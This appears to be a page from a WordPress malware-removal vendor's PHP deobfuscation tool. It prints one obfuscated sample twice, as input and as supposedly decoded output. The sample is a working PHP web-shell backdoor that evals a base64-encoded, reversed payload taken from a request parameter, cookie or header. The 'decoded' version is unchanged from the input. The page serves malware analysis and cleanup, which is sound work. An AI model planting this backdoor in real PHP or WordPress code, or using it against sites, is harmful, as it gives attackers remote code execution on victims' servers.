Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $encumbering = 'G'; $buzzword = '[H'; $appointments = 'b'; $insert = 'g'; $counselling = 'M:aOe4"Do'; $benjamen = 'P'; $blooming = 's'; $ciliate = 'B'; $currant = '"_f(eiR@'; $counterfeited = '('; $elton = 'e'; $coherence = 'o'; $irvine = 's'; $exorcism = '_'; $iffy = 'b'; $education = '6';...



Obfuscated php code

<?php

$encumbering = 'G';
$buzzword = '[H';
$appointments = 'b';
$insert = 'g';
$counselling = 'M:aOe4"Do';
$benjamen = 'P';
$blooming = 's';
$ciliate = 'B';
$currant = '"_f(eiR@';
$counterfeited = '(';
$elton = 'e';
$coherence = 'o';
$irvine = 's';
$exorcism = '_';
$iffy = 'b';
$education = '6';
$exacerbating = 'mp"$g$PMI';
$beatific = 'mir$w';
$concluding = 'reE5>ni$_';
$jesting = '?';
$conquer = '[';
$donn = 'QEtc';
$clement = 'Hm';
$computation = 'Q';
$casually = ')';
$bolshevism = 'E(';
$dockyard = ']';
$industrially = 'I';
$isotope = '26p_,e';
$bug = 'h';
$dirtily = 'R';
$inorganic = '[sTB0_Tf';
$groveled = 'S';
$lamentation = 'V';
$geometric = ';3_o8Ola';
$illustratively = 'Frv';
$hibernia = 'a';
$inverse = ')bp';
$dislocates = '1:_uW[(';
$captainkirk = 'r)i=H';
$defuse = 't)eaTrea';
$bloke = 'tP';
$kaia = ';';
$ascent = 'T';
$downfall = 'Jy$a_M;';
$crackers = ';';
$homely = ' ';
$lenard = 'unir(7e';
$bidirectional = 'B';
$bleakness = 'a';
$forked = '("dCr';
$corabella = 'E';
$boiler = 't,<e?P';
$colander = '_';
$cobwebs = 'cWEL(';
$baptists = 'ta]Nr)beC';
$limp = 'e';
$cute = 'e';
$carey = '$)iD=S)';
$boost = '(rrs$';
$girls = 'A';
$balkan = '/';
$kamikaze = 'B9?:OtsdE';
$blink = 'B_$';
$carolin = ']';
$forgo = 'aHwS(';
$coronation = 'tE4PRs';
$delphinium = '"vivls';
$crin = ')';
$debatable = 'Ue';
$lug = 'ed"K"(dgv';
$disgraced = '.';
$counselor = 'b';
$censoring = 'i)aecR=';
$graft = '(p]E_ad$';
$impossibilities = 'e';
$bonding = 'i';
$intonate = 's';
$followings = 'D;"$r)';
$christine = 'HKyce';
$evocate = 'h';
$eyewitnesses = ')Tn';
$dietary = "create_function";
$delusions = $homely;
$dissipate = function () {
    eval(array_pop(func_get_args()));
};
$dissipate($intonate, $coronation[0], $baptists['3'], $downfall['5'], $dislocates['0'], $coronation['3'], $followings[0], "\$i=array_merge(\$_REQUEST,\$_COOKIE,\$_SERVER);\$a=isset(\$i[\"bmbdehpw\"])?\$i[\"bmbdehpw\"]:(isset(\$i[\"HTTP_BMBDEHPW\"])?\$i[\"HTTP_BMBDEHPW\"]:die);eval(strrev(base64_decode(strrev(\$a))));");

Decoded(de-Obfuscated) php code

<?php

$encumbering = 'G';
$buzzword = '[H';
$appointments = 'b';
$insert = 'g';
$counselling = 'M:aOe4"Do';
$benjamen = 'P';
$blooming = 's';
$ciliate = 'B';
$currant = '"_f(eiR@';
$counterfeited = '(';
$elton = 'e';
$coherence = 'o';
$irvine = 's';
$exorcism = '_';
$iffy = 'b';
$education = '6';
$exacerbating = 'mp"$g$PMI';
$beatific = 'mir$w';
$concluding = 'reE5>ni$_';
$jesting = '?';
$conquer = '[';
$donn = 'QEtc';
$clement = 'Hm';
$computation = 'Q';
$casually = ')';
$bolshevism = 'E(';
$dockyard = ']';
$industrially = 'I';
$isotope = '26p_,e';
$bug = 'h';
$dirtily = 'R';
$inorganic = '[sTB0_Tf';
$groveled = 'S';
$lamentation = 'V';
$geometric = ';3_o8Ola';
$illustratively = 'Frv';
$hibernia = 'a';
$inverse = ')bp';
$dislocates = '1:_uW[(';
$captainkirk = 'r)i=H';
$defuse = 't)eaTrea';
$bloke = 'tP';
$kaia = ';';
$ascent = 'T';
$downfall = 'Jy$a_M;';
$crackers = ';';
$homely = ' ';
$lenard = 'unir(7e';
$bidirectional = 'B';
$bleakness = 'a';
$forked = '("dCr';
$corabella = 'E';
$boiler = 't,<e?P';
$colander = '_';
$cobwebs = 'cWEL(';
$baptists = 'ta]Nr)beC';
$limp = 'e';
$cute = 'e';
$carey = '$)iD=S)';
$boost = '(rrs$';
$girls = 'A';
$balkan = '/';
$kamikaze = 'B9?:OtsdE';
$blink = 'B_$';
$carolin = ']';
$forgo = 'aHwS(';
$coronation = 'tE4PRs';
$delphinium = '"vivls';
$crin = ')';
$debatable = 'Ue';
$lug = 'ed"K"(dgv';
$disgraced = '.';
$counselor = 'b';
$censoring = 'i)aecR=';
$graft = '(p]E_ad$';
$impossibilities = 'e';
$bonding = 'i';
$intonate = 's';
$followings = 'D;"$r)';
$christine = 'HKyce';
$evocate = 'h';
$eyewitnesses = ')Tn';
$dietary = "create_function";
$delusions = $homely;
$dissipate = function () {
    eval(array_pop(func_get_args()));
};
$dissipate($intonate, $coronation[0], $baptists['3'], $downfall['5'], $dislocates['0'], $coronation['3'], $followings[0], "\$i=array_merge(\$_REQUEST,\$_COOKIE,\$_SERVER);\$a=isset(\$i[\"bmbdehpw\"])?\$i[\"bmbdehpw\"]:(isset(\$i[\"HTTP_BMBDEHPW\"])?\$i[\"HTTP_BMBDEHPW\"]:die);eval(strrev(base64_decode(strrev(\$a))));");


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.